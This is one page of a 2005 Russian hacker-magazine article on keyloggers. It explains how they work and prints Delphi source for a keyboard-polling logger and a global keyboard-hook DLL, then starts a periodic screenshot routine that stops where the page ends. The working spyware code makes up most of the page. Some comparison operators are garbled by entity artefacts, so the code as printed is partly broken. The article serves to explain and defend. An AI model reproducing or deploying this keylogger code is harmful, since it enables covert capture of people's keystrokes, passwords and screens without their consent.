Издательский дом ООО "Гейм Лэнд"СПЕЦВЫПУСК ЖУРНАЛА ХАКЕР #60, НОЯБРЬ 2005 г.

Повесть о разведчиках

Зайцев Олег (z-oleg.com/secur)

Спецвыпуск: Хакер, номер #060, стр. 060-054-3


Я описал лишь два примера, и конечно же, кейлоггеров существует великое множество. Сам по себе кейлоггер прост до безобразия. Вот пример кейлоггера, работающего по методу опроса клавиатуры:

procedure TfrmMain.tmKeyStateCheckTimerTimer(Sender: TObject);

var

i, res : integer;

S : string;

begin

S := '';

// Цикл опроса состояния клавиш

for i := 0 to 255 do begin

// Запрос состояния клавиши i

Res := GetAsyncKeyState(i);

if Res gt; 0 then

if MapVirtualKey(i, 2) >gt; 0 then

S := S + char(MapVirtualKey(i, 2))

else S := S+'['+inttostr(i)+']';

end;

if length(s) = 0 then exit;

Memo1.Lines.Add('Нажаты клавиши "'+S+'"');

end;

Событие tmKeyStateCheckTimerTimer должно вызываться таймером, задержка - 10-30 мс. Такие кейлоггеры применяются редко, так как несомненный лидер по распространенности - банальный Hook:

library Key;

uses

WinTypes,

WinProcs,

Messages;

const

KeyEvent = WM_USER + 1;

type

TUnhookWindowsHookEx = function (hhk: HHOOK): BOOL; stdcall;

TCallNextHookEx = function (hhk: HHOOK; nCode: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall;

TSetWindowsHookEx = function (idHook: Integer; lpfn: TFNHookProc; hmod: HINST; dwThreadId: DWORD): HHOOK; stdcall;

var

HookHandle: hHook;

hLib : THandle;

UnhookWindowsHookEx : TUnhookWindowsHookEx;

CallNextHookEx : TCallNextHookEx;

SetWindowsHookEx : TSetWindowsHookEx;

function KeyHook(Code: integer; WParam: word; LParam: Longint): Longint;

var

wnd: hWnd;

begin

if Code >gt; = 0 then begin

wnd := FindWindow('TKeyForm', nil);

SendMessage(wnd, KeyEvent, wParam, lParam);

Result := 0;

end else

Result := CallNextHookEx(HookHandle, code, WParam, LParam);

end;

procedure SetKeyHook;

begin

hLib := LoadLibrary('user32.dll');

@UnhookWindowsHookEx := GetProcAddress(hLib, 'UnhookWindowsHookEx');

@CallNextHookEx := GetProcAddress(hLib, 'CallNextHookEx');

@SetWindowsHookEx := GetProcAddress(hLib, 'SetWindowsHookExA');

HookHandle := SetWindowsHookEx(WH_KEYBOARD, @KeyHook, HInstance, 0);

end;

procedure DelKeyHook;

begin

if HookHandle gt; 0 then

UnhookWindowsHookEx(HookHandle);

end;

exports

SetKeyHook index 1,

DelKeyHook index 2;

begin

end.

DLL, скомпилированная по данному исходнику, экспортирует две функции: SetKeyHook для установки хука и DelKeyHook для его снятия. Работа самого перехватчика предельно проста, так как все клавиатурные события передаются окну с именем 'TKeyForm' для анализа и регистрации.

Многие кейлоггеры умеют не только записывать нажатия клавиш, но и делать скриншоты экрана с заданной периодичностью (или по заданному событию) и шпионить за содержимым буфера обмена, что реализуется очень просто. Для примера - простейший код, делающий снимки экрана через некоторые промежутки времени:

procedure TForm1.Timer1Timer(Sender: TObject);

var

Image : TImage;

ScreenDC : HDC;

begin

Image := TImage.Create(nil);

// Получаем размеры экрана

Image.Width := Screen.Width;

Image.Height := Screen.Height;

Назад на стр. 060-054-2  Содержание  Вперед на стр. 060-054-4